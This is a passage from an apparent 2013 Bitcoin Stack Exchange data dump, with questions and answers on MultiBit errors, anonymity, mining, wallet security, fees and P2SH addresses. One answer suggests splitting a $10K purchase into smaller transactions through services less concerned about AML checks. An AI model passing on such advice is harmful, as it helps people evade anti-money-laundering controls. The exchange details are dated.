LastActivityDate="2013-04-12T17:11:32.947" Title="Why is anonymity important in bitcoins?" Tags="|transactions|privacy|traceability|" AnswerCount="2" CommentCount="7" ClosedDate="2013-04-21T20:12:12.580" ContentLicense="CC BY-SA 3.0" />
  <row Id="9650" PostTypeId="1" CreationDate="2013-04-12T16:41:01.430" Score="2" ViewCount="302" Body="&lt;p&gt;Upon opening multibit I get this error message; any idea what it means?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;&lt;a href=&quot;http://translate.google.com/#auto/en/Det%20gick%20inte%20att%20l%C3%A4sa%20in&quot; rel=&quot;nofollow&quot;&gt;Det gick inte att läsa&lt;/a&gt; in &lt;a href=&quot;https://multibit.org/version.txt&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/version.txt&lt;/a&gt;. &lt;a href=&quot;http://translate.google.com/#auto/en/Felet%20var&quot; rel=&quot;nofollow&quot;&gt;Felet var&lt;/a&gt; javax.net.ssl.SSLHandshakeException sun.security.validator.ValidatorException: PKIX path building failed:&lt;br&gt;&#xA;sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target.&quot;&lt;/p&gt;&#xA;" OwnerUserId="4297" LastEditorUserId="2306" LastEditDate="2013-04-12T17:38:01.127" LastActivityDate="2013-04-12T18:04:03.587" Title="Multibit error message" Tags="|multibit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9651" PostTypeId="2" ParentId="9649" CreationDate="2013-04-12T16:41:25.943" Score="1" Body="&lt;p&gt;Anonymity is part of the Bitcoin culture. It was created to circumvent the powers at be, and anonymity plays into that idea quite well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the nature of the &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_chain&quot; rel=&quot;nofollow&quot;&gt;block chain&lt;/a&gt; is that every transaction is totally traceable. You can look at the block chain and determine where every bitcoin has ever been. This seems to contradice most peoples conception of bitcoin as being an anonymous currency. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some ways it is. If you mine your own bitcoins and generate your own wallet then, even if I can see every transaction, that particular bitcoin or wallet made, I can not know who is responsible for making it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in the new age of bitcoin, where the average user does not know anything about encryption, and contracts third party services such as &lt;a href=&quot;https://mtgox.com/&quot; rel=&quot;nofollow&quot;&gt;mt. gox&lt;/a&gt; to manage their bitcoins for them, anonymity is lost.  &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-04-12T16:41:25.943" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9652" PostTypeId="2" ParentId="9637" CreationDate="2013-04-12T16:41:46.020" Score="5" Body="&lt;p&gt;The official bitcoin client from bitcoin.org has a CPU mining option. Add a file named &lt;code&gt;bitcoin.conf&lt;/code&gt; to the bitcoin data directory, with the contents &lt;code&gt;gen=1&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Bitcoin.conf_Configuration_File&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Running_Bitcoin#Bitcoin.conf_Configuration_File&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-12T16:41:46.020" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9653" PostTypeId="2" ParentId="9649" CreationDate="2013-04-12T17:11:32.947" Score="0" Body="&lt;p&gt;I guess one of the problems with traceability is the creation of wallets and addresses. To trace transactions by entities you would need to verify the wallet owners and this would require some central authority to decide whether the entity was indeed real or just someone who has created a second wallet for the purpose of  funneling money into a second non-taxed account. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could be possible to put inplace some lame non-central verification system but buy declaring anonymity it doesn't give the illusion of something that could be regulated. &lt;/p&gt;&#xA;" OwnerUserId="4296" LastActivityDate="2013-04-12T17:11:32.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9654" PostTypeId="2" ParentId="9644" CreationDate="2013-04-12T17:23:54.590" Score="4" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;If one of the cryptographic building blocks of Bitcoin were to be broken&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This is a difficult question to answer because Bitcoin uses so many.&lt;/p&gt;&#xA;&lt;h1&gt;SHA256d&lt;/h1&gt;&#xA;&lt;p&gt;This is Bitcoin's main hashing algorithm. It uses it for proof-of-work, building merkle trees, and lots of other stuff.&lt;/p&gt;&#xA;&lt;h2&gt;Collision resistance&lt;/h2&gt;&#xA;&lt;p&gt;If broken, you could create two blocks that hashed to the same thing. This would be bad because you could give both out, and nodes would think that they agreed, but they were actually talking about different blocks.&lt;/p&gt;&#xA;&lt;h2&gt;Preimage resistance&lt;/h2&gt;&#xA;&lt;p&gt;If broken, you'd have essentially infinite hashpower, and you could do the previous attack on blocks that had already been mined.&lt;/p&gt;&#xA;&lt;h2&gt;Mining faster than brute force&lt;/h2&gt;&#xA;&lt;p&gt;Currently, the fastest known way to get a hash that starts with lots of zeros is to just run through that hash lots of times. However, if you could figure out at the start that certain ranges of nonces weren't going to result in a block, you'd have a significant advantage over ASIC miners, who wouldn't be able to change the way they mined.&lt;/p&gt;&#xA;&lt;h1&gt;HASH160&lt;/h1&gt;&#xA;&lt;h2&gt;Collision resistance&lt;/h2&gt;&#xA;&lt;p&gt;Irrelevant.&lt;/p&gt;&#xA;&lt;h2&gt;Preimage resistance&lt;/h2&gt;&#xA;&lt;p&gt;If broken, you could steal bitcoins.&lt;/p&gt;&#xA;&lt;h1&gt;ECDSA&lt;/h1&gt;&#xA;&lt;p&gt;If broken, you could steal bitcoins.&lt;/p&gt;&#xA;&lt;h1&gt;Final remarks&lt;/h1&gt;&#xA;&lt;p&gt;It's unlikely that every crypto primitive that bitcoin relies on would be broken. If they were, there are usually better primitives that could replace them.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-04-12T17:23:54.590" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9655" PostTypeId="2" ParentId="9645" CreationDate="2013-04-12T17:30:25.220" Score="1" Body="&lt;p&gt;You can use the &quot;File | Open&quot; menu option to open an existing wallet.&#xA;A file chooser opens and you can navigate to where your wallet is stored to open it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that in the older code (v0.4.23 and before) your wallet does not automatically resync when you open it. You have to do this manually with a 'Tools | Reset blockchain and transactions'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current version (v0.5.9 or later) automatically resyncs wallets when you open them.&lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="888" LastEditDate="2013-05-13T05:38:52.500" LastActivityDate="2013-05-13T05:38:52.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9656" PostTypeId="2" ParentId="9647" CreationDate="2013-04-12T17:45:42.477" Score="11" Body="&lt;p&gt;Currently, Electrum is more secure than MultiBit as the MultiBit wallets are not encrypted. The next version of MultiBit, version 0.5.9, supports encrypted wallets. (Disclaimer: I am the lead MultiBit dev)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Security in Bitcoin is related to many things. Here are some of them:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Is the code open source and do the developers have a track record ?&#xA;Both Electrum and MultiBit are open source so you can inspect the code. They have both been developed by pretty much the same people for over a year now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Can you verify that the download you get is the correct one ?&#xA;The attack vector here is that an attacker substitutes a trojan instead of the real installer.&#xA;The MultiBit installers are all downloaded from a dedicated server via HTTPS and are signed with my PGP key. You can verify this after you download the installer (but before you run it). As long as my private key is not compromised this means only I could have signed it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not exactly sure what Electrum does about signing its builds but I know Thomas (the lead Electrum dev) is very conscious of this area/ attack vector.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Are there any servers that can steal your bitcoin ?&#xA;MultiBit uses the regular Bitcoin network and they don't have your private keys. Electrum uses (many) of its own custom servers but again these do not have access to your private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Both clients are theorectically open to an attack if their network connection is owned and the attacker can feed them completely false information. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) Both clients (well every client in fact) would be vulnerable to keyloggers capturing passwords which (in combination with the encrypted wallet in MultiBit's case) would give an attacker access to your private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tl;dr At the moment Electrum is more secure. When MultiBit supports encrypted wallets they will be comparable. Good security practices on your machine are also important to keep your bitcoin safe.&lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="888" LastEditDate="2013-04-12T18:46:17.117" LastActivityDate="2013-04-12T18:46:17.117" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9657" PostTypeId="1" CreationDate="2013-04-12T18:00:50.463" Score="6" ViewCount="3497" Body="&lt;p&gt;I want to purchase on the order of $10k of Bitcoin in USD. I can't seem to a find a way of accomplishing this in less time than multiple weeks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been looking at the major exchanges, and it seems to be bad news all around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mt.Gox requires you to verify your account before allowing incoming wire transfers. This could take 5 days. Then you are required to wait at least 5 business days for it to be processed, then wait an unspecified period for their AML checks to be completed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other exchanges I've looked at (such as btc-e, bitfloor, etc) allow incoming wire transfers, however don't specify how long the processing should take. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the quickest way I could theoretically accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="4301" LastEditorUserId="37414" LastEditDate="2018-05-10T16:54:38.377" LastActivityDate="2020-01-06T04:16:03.870" Title="What is currently the fastest way to buy a large amount Bitcoin?" Tags="|exchanges|buy-bitcoins|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9658" PostTypeId="2" ParentId="9650" CreationDate="2013-04-12T18:04:03.587" Score="1" Body="&lt;p&gt;It is an error to do with getting hold of a 'new version available' file from multibit.org. It means you won't get notification of new MultiBit versions but can otherwise be ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some versions of Java have problems with the HTTPS certificate on multibit.org.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am going to change how the version.txt file is authenticated which will make this error disappear.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-04-12T18:04:03.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9659" PostTypeId="2" ParentId="9657" CreationDate="2013-04-12T18:56:09.993" Score="3" Body="&lt;p&gt;The AML laws in the US deliberately make this hard. Suddenly moving $10K of USD into BTC is exactly the kind of thing that makes the government worry about money laundering. So, without any case law protecting them, most exchanges aren't going to be willing to risk it without verifying your identity to help them get in compliance with the KYC/AML laws.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My personal opinion is that Bitfloor might be the fastest now, but I haven't tried everyone. But, even that is going to take a few days. And I started there with a smaller sum of money. $10K might hit some triggers that slow it down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you could try to put several smaller transactions through bitinstant or localbitcoins, if you are more tolerant of fees and hassle. Those &quot;non exchanges&quot; won't be as concerned about AML.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastEditorUserId="44" LastEditDate="2013-04-12T20:16:05.107" LastActivityDate="2013-04-12T20:16:05.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9660" PostTypeId="2" ParentId="9657" CreationDate="2013-04-12T19:49:09.610" Score="5" Body="&lt;p&gt;This might be your best bet... &lt;a href=&quot;https://localbitcoins.com/&quot; rel=&quot;noreferrer&quot;&gt;https://localbitcoins.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4309" LastActivityDate="2013-04-12T19:49:09.610" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9661" PostTypeId="2" ParentId="9638" CreationDate="2013-04-12T20:12:59.747" Score="4" Body="&lt;p&gt;&lt;strong&gt;Short answer: no, there will probably never be format issues.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paper wallets are in a better spot than audio tapes because they degrade less over time and there is no specialised hardware required to read them.  It's not that the &lt;em&gt;method&lt;/em&gt; of how audio was stored on audio tapes has been lost to history, it's just that finding a machine which implements that method is getting more difficult.  Since the &lt;em&gt;method&lt;/em&gt; of storage in a paper wallet is just text, it would take a pretty fantastic catastrophe to wipe that knowledge from the planet. &lt;strong&gt;You're right that it's important to note the specific format in which private keys have been stored.&lt;/strong&gt;  But as long as you know that, you will always be able to recover the private keys, which are the fundamental method of bitcoin ownership.  Since the &quot;import format&quot; is just a method of recording these private keys, that makes your paper wallets as good as any digital one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Long answer:&lt;/strong&gt;  a fundamental break in the current methods of cryptography wouldn't cause any format issues, but it might cause other issues (assuming the Bitcoin network at large had enough warning to survive the problem itself.  If it happened faster than that the world would have much bigger problems than Bitcoin failure).  If this happened, it would be &lt;strong&gt;major&lt;/strong&gt; news and any reasonably attentive person could ensure that your paper bitcoins are at least as safe as anyone else's.  Left ignored in this unlikely scenario, it might be possible for someone else to steal your bitcoins.  Otherwise they could be invalidated by a protocol upgrade if the network considered that preferable to mass theft (old digital wallets would be just as vulnerable as paper ones, leaving a lot of bitcoins up for grabs by motivated adversaries).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cryptographic protocols are often eventually weakened.  But this tends to happen at least somewhat slowly (which is the main reason we use cryptography for anything important at all).&lt;/strong&gt;  A weakening of the cryptographic protocols at the heart of the Bitcoin algorithm would have far-reaching consequences for the entire computing industry:  banks, governments, corporations, etc. would all be scrambling to respond.  You would hear about it.  As long as you followed the convention Bitcoiners eventually settled on for responding to the threat, your bitcoins would be fine.  Or the world would end.  One of those two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paper wallets are also vulnerable to burning in the event of nuclear holocaust or a large asteroid collision.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;tl;dr:&lt;/strong&gt; to be paranoia-level safe you would want to ensure that someone is at least generally keeping abreast of Bitcoin news.&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2013-04-12T20:12:59.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9662" PostTypeId="1" AcceptedAnswerId="9683" CreationDate="2013-04-12T21:06:02.933" Score="6" ViewCount="635" Body="&lt;p&gt;I'm working on writing a wrapper for the standard bitcoin client. I'll be communicating with it via the JSON-RPC API and I'm just wondering if anyone has any experience with this;&#xA;this app is mostly geared to receive BTC, not send.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does the client react when it sees an incoming transaction from an address of x BTC, but it is later determined by the network that that transaction was invalid (probably due to a double-spend by someone sending BTC to an address, then immediately sending the same BTC to another address but from a far away play so the lag allows both to go through. In this case I'm talking about transactions before a block is mined)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the transaction just disappear off the network and away from the bitcoind interface/API or is that recorded somewhere? (In the confirms result in the API?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want my app to be able to keep track of any instances of this happening and notify the end user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="4310" LastActivityDate="2013-04-13T05:49:11.637" Title="How does the reference bitcoin wallet/client handle rejected transactions? (in the API)" Tags="|transactions|block|api|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9663" PostTypeId="1" AcceptedAnswerId="9664" CreationDate="2013-04-12T21:39:26.410" Score="0" ViewCount="215" Body="&lt;p&gt;Now that Mt. Gox no longer offers MTG USD redeemable codes, what other exchanges offer these vouchers / redeemable codes / coupons?&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-06-27T09:32:30.200" Title="Which exchanges still support USD account-to-account (A2A) transfers?" Tags="|exchanges|account-to-account|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9664" PostTypeId="2" ParentId="9663" CreationDate="2013-04-12T21:46:22.270" Score="1" Body="&lt;p&gt;Due to AML regulations, few exchanges offer this service which is typically considered a banking function.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/A2A_Transfer_Methods&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/A2A_Transfer_Methods&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This functionality can be emulated at exchanges that have integrated a Ripple gateway.  &lt;a href=&quot;http://www.BITSTAMP.net&quot; rel=&quot;nofollow&quot;&gt;BITSTAMP&lt;/a&gt; is one such exchange. &lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-06-27T00:48:42.740" LastActivityDate="2013-06-27T00:48:42.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9665" PostTypeId="1" AcceptedAnswerId="9676" CreationDate="2013-04-12T23:19:08.617" Score="2" ViewCount="1758" Body="&lt;p&gt;I am looking into add funds tab from mtgox and I can not find an option with visa or mastercard.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;E-Currencies:&#xA;Liberty Reserve (Instant funding - NO FEE)&#xA;PerfectMoney (INSTANT funding - 1% FEE)&#xA;Pecunix (INSTANT funding - NO FEE)&#xA;HD-Money (INSTANT funding - NO FEE)&#xA;VouchX Vouchers (INSTANT funding - NO FEE)&#xA;CosmicPay (INSTANT funding - NO FEE)&#xA;C-Gold (INSTANT funding - 5% FEE)&#xA;SolidTrustPay (WITHIN 1 to 2 business days - 8% FEE)&#xA;&#xA;&#xA;Banking and other payment methods:&#xA;SEPA Euro transfers (WITHIN 1 business day - NO FEE)&#xA;International Wire Transfer in USD (WITHIN 1 to 2 business days - NO FEE)&#xA;Wire Transfer in GBP (WITHIN 1 to 2 business days - NO FEE)&#xA;CASH deposit at 10,000 locations in the USA (WITHIN 1 hour - at 3.75% fee!)&#xA;INSTANT EURO BANK TRANSFERS (Coming soon!)&#xA;LOCAL AUSTRALIAN BANK DEPOSITS (Coming soon!)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible? If no, what is the easiest way to do this using MasterCard&lt;/p&gt;&#xA;" OwnerUserId="1891" LastActivityDate="2013-04-13T10:28:19.307" Title="transfer money to mtgox with visa or mastercoard" Tags="|mtgox|payment|" AnswerCount="1" CommentCount="1" ClosedDate="2013-04-14T11:09:39.853" ContentLicense="CC BY-SA 3.0" />
  <row Id="9666" PostTypeId="1" CreationDate="2013-04-12T23:46:04.233" Score="-2" ViewCount="221" Body="&lt;p&gt;When someone steals 25,000 BTC from a single user, everyone on the network can just watch the coins move around the public ledger, but no one can do anything about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can't we do something about it? Can we as a community blacklist the thief's account? Or put out an &quot;all-points-bulletin&quot; to flag transactions using the thief's address? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe new script commands can be added to the transaction outputs that require a second signature, 24 hours after the first one, to be valid? If someone gets jacked, they can just wait out the 24 hours and the illegal transaction will cease to exist?&lt;/p&gt;&#xA;" OwnerUserId="3667" LastActivityDate="2013-04-14T14:16:17.530" Title="Catching thieves: Network Jury? Account blacklist? Additional TX script commands?" Tags="|security|theft|" AnswerCount="2" CommentCount="2" ClosedDate="2013-04-20T00:23:18.227" ContentLicense="CC BY-SA 3.0" />
  <row Id="9667" PostTypeId="1" AcceptedAnswerId="9669" CreationDate="2013-04-13T00:52:21.010" Score="4" ViewCount="2467" Body="&lt;p&gt;I'm attempting a test transaction of an amount less than 0.0015 BTC with my transaction fee set to 0 BTC, yet I'm getting this message: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The total exceeds your balance when the 0.0015 BTC transaction fee is&#xA;  included.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The transaction fee should be free, right? Why would this happen?&lt;/p&gt;&#xA;" OwnerUserId="1843" LastActivityDate="2013-04-13T01:05:48.333" Title="Why would Bitcoin-QT attempt to charge a processing fee, when I have my transaction fees set to zero?" Tags="|bitcoin-core|" AnswerCount="2" CommentCount="0" ClosedDate="2013-04-17T07:37:47.513" ContentLicense="CC BY-SA 3.0" />
  <row Id="9668" PostTypeId="2" ParentId="9667" CreationDate="2013-04-13T00:59:10.563" Score="2" Body="&lt;p&gt;For certain transactions, particularly transactions that have a large number of inputs, or relatively new inputs, the Satoshi client will not let you initiate a transaction without a 0.5mBTC fee. Essentially it tries to prevent you from initiating transactions that will have problems getting forwarded/approved. If you have less than 0.5mBTC is should warn you about this after clicking send.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: this is just the way things are. I don't particularly like it that way, I wish there was an advanced option that let you override it, but as far as I know there isn't one. And I do understand the rationale, as we get enough posts as it is on this forum regarding people frustrated with their no fee transactions not getting confirmed.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastActivityDate="2013-04-13T00:59:10.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9669" PostTypeId="2" ParentId="9667" CreationDate="2013-04-13T01:05:48.333" Score="5" Body="&lt;p&gt;Bitcoin-Qt enforces the reference implementation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A transaction will be sent without fees if these conditions are met&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It is smaller than 10 thousand bytes.&lt;/li&gt;&#xA;&lt;li&gt;All outputs are 0.01 BTC or larger.&lt;/li&gt;&#xA;&lt;li&gt;Its priority is large enough&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Otherwise, the reference implementation will round up the transaction size to the nearest thousand bytes and then add a fee of 0.0005 BTC per thousand bytes. Users may override the default 0.0005 BTC/kb fee setting, but cannot control transaction fees for each transaction. Bitcoin-Qt does prompt the user to accept the fee before the transaction is sent (they may cancel the transaction if they are not willing to pay the fee).   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees#Reference_Implementation&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3292" LastActivityDate="2013-04-13T01:05:48.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9670" PostTypeId="2" ParentId="9591" CreationDate="2013-04-13T01:16:04.167" Score="-2" Body="&lt;p&gt;You need a wealth translator who would take a fee due to the illiquidity of Rands/Bitcoins transactions.  Or do it yourself realizing there is a bid/ask on every translation.&lt;/p&gt;&#xA;" OwnerUserId="4318" LastActivityDate="2013-04-13T01:16:04.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9671" PostTypeId="2" ParentId="9666" CreationDate="2013-04-13T01:46:31.727" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can't we do something about it? Can we as a community blacklist the thief's account?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I can't find the link at the moment, but there was an e-wallet service that was robbed, and Mt.Gox requires you to submit identity documents if you want to sell bitcoins derived from that robbery.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Or put out an &quot;all-points-bulletin&quot; to flag transactions using the thief's address?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That has the problem that the thief can simply make an intermediary address that disguises its origin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you decide that all of those bitcoins ought to be unspendable, even if they've passed onto another address in the meantime, then you have a new problem: if the bitcoins get sold to some innocent third party, and you decided to blacklist them, then you're hurting somebody who had no way of knowing about the theft.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Maybe new script commands can be added to the transaction outputs that require a second signature, 24 hours after the first one, to be valid? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why would that add security? If I stole your private key, then I can sign the transaction, then sign it again 24 hours later.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-13T01:46:31.727" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9676" PostTypeId="2" ParentId="9665" CreationDate="2013-04-13T03:16:38.730" Score="3" Body="&lt;p&gt;Basically, you can't easily buy hard money (like Bitcoins) with soft money (like credit card payments). The problem is that customers could reverse or dispute the soft money payment and the trader couldn't get the hard money back. To cover their costs should this happen, they'd have to give lousy exchange rates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These lousy exchange rates would chase away legitimate customers. But scammers wouldn't mind, they're not going to pay anything anyway. So the scam rate goes up, the fraud losses go up, the legitimate customers get chased away, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There do exist businesses doing this, but expect extensive credit checks, waiting periods, demands for detailed documents, and so on. Also, expect to pay too much.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-04-13T10:28:19.307" LastActivityDate="2013-04-13T10:28:19.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9677" PostTypeId="2" ParentId="9594" CreationDate="2013-04-13T03:38:54.527" Score="5" Body="&lt;p&gt;Current client doesn't expose it yet, but each account is really an Account Family of un-linkable addresses which can be single use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ripple.com/wiki/Account_Family&quot;&gt;https://ripple.com/wiki/Account_Family&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1380" LastActivityDate="2013-04-13T03:38:54.527" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9678" PostTypeId="1" AcceptedAnswerId="9703" CreationDate="2013-04-13T04:54:00.793" Score="17" ViewCount="20490" Body="&lt;p&gt;I found out this address playing with blockchain&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/address/3NukJ6fYZJ5Kk8bPjycAnruZkE5Q7UW7i8&quot;&gt;https://blockchain.info/address/3NukJ6fYZJ5Kk8bPjycAnruZkE5Q7UW7i8&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found out it's something called &quot;scripthash&quot;. How does it work exactly? How does it differ from a normal address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found out this - &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0016&quot;&gt;https://en.bitcoin.it/wiki/BIP_0016&lt;/a&gt; - but I still don't get it and I don't get the point. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The benefit is allowing a sender to fund any arbitrary transaction, no matter how complicated, using a fixed-length 20-byte hash that is short enough to scan from a QR code or easily copied and pasted.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How does it differ from what &lt;em&gt;is&lt;/em&gt; possible today - scanning just the address of the reciever?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: And adding one more question - why exactly is this transaction with the mentioned address as input&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx-index/3618498&quot;&gt;https://blockchain.info/tx-index/3618498&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;included in &lt;em&gt;94 different blocks&lt;/em&gt;? How does that even work?&lt;/p&gt;&#xA;" OwnerUserId="1760" LastEditorUserId="1760" LastEditDate="2013-04-13T04:59:53.800" LastActivityDate="2016-05-16T13:46:08.067" Title="What is &quot;Script Hash&quot; address exactly and how does it work?" Tags="|transactions|script|hash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9679" PostTypeId="2" ParentId="9636" CreationDate="2013-04-13T05:07:02.040" Score="0" Body="&lt;p&gt;When you sign up for Mt. Gox, the user agreement says that Mt. Gox can suspend your account at any time for any reason and then will require that you provide verification to regain access to your account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone accessing their account through Tor will usually trigger this.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-13T05:07:02.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9680" PostTypeId="2" ParentId="9296" CreationDate="2013-04-13T05:17:46.243" Score="0" Body="&lt;p&gt;I just downloaded bitaddress.org java file and experimented with sending a small amount to an address for which the private key has yet to be loaded. That money unfortunately disappeared. (i.e. when I loaded the corresponding private key nothing showed up)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, sending money to an address with the corresponding private loaded in a client showns up quickly no problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope this helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OH Wait! I spoke too soon. I did not see the transaction or look carefully but here it is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Status: 39 confirmations, broadcast through 27 nodes&#xA;Date: 4/12/13 16:08&#xA;Debit: -0.000111 BTC&#xA;Credit: 0.000111 BTC&#xA;Transaction fee: -0.0005 BTC&#xA;Net amount: -0.0005 BTC&#xA;Transaction ID: 0bba0d308dcd8c8f8141bf95ba4...etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am still confused though because the transaction summary in QT shows the amount as -0.000611 (instead of 